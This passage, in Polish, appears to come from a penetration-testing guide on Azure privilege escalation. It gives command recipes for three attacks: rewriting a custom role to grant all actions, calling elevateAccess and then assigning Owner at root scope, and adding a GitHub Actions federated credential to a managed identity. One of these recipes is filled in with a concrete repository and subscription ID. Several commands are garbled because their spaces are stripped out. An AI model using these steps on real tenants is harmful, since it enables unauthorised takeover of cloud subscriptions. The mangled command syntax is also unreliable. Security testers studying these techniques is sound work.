To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co pozwala atakującemu na eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli:
To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co pozwala atakującemu na eskalację uprawnień poprzez przyznanie większych uprawnień roli, którą przypisał.
Utwórz plik role.json z następującą zawartością:
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Następnie zaktualizuj uprawnienia roli zgodnie z poprzednią definicją, wywołując:
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Te uprawnienia pozwalają na podniesienie uprawnień i możliwość przypisania uprawnień do dowolnego podmiotu do zasobów Azure. Ma to być przyznawane Globalnym Administratorom Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure.
Myślę, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie podniesienia działało.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości.
Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości:
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'